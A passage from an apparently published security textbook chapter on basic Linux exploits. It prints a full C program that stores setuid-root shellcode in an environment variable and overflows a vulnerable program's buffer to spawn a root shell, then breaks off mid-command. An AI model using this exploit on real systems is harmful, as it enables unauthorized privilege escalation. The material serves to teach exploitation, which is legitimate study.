You would store your shellcode in an environment variable or
Chapter 7: Basic Linux Exploits
161
PART III
somewhere else in memory, then point the return address to that environment variable
as follows:
$ cat exploit2.c
//exploit2.c works locally when the vulnerable buffer is small.
#include
#include
#define VULN "./smallbuff"
#define SIZE 160
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char **argv){
// injection buffer
char p[SIZE];
// put the shellcode in target's envp
char *env[] = { shellcode, NULL };
// pointer to array of arrays, what to execute
char *vuln[] = { VULN, p, NULL };
int *ptr, i, addr;
// calculate the exact location of the shellcode
addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);
fprintf(stderr, "[***] using address: %#010x\n", addr);
/* fill buffer with computed address */
ptr = (int * )p;
for (i = 0; i < SIZE; i += 4)
*ptr++ = addr;
//call the program with execle, which takes the environment as input
execle(vuln[0], vuln,p,NULL, env);
exit(1);
}
$ gcc -o exploit2 exploit2.
Pages:
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335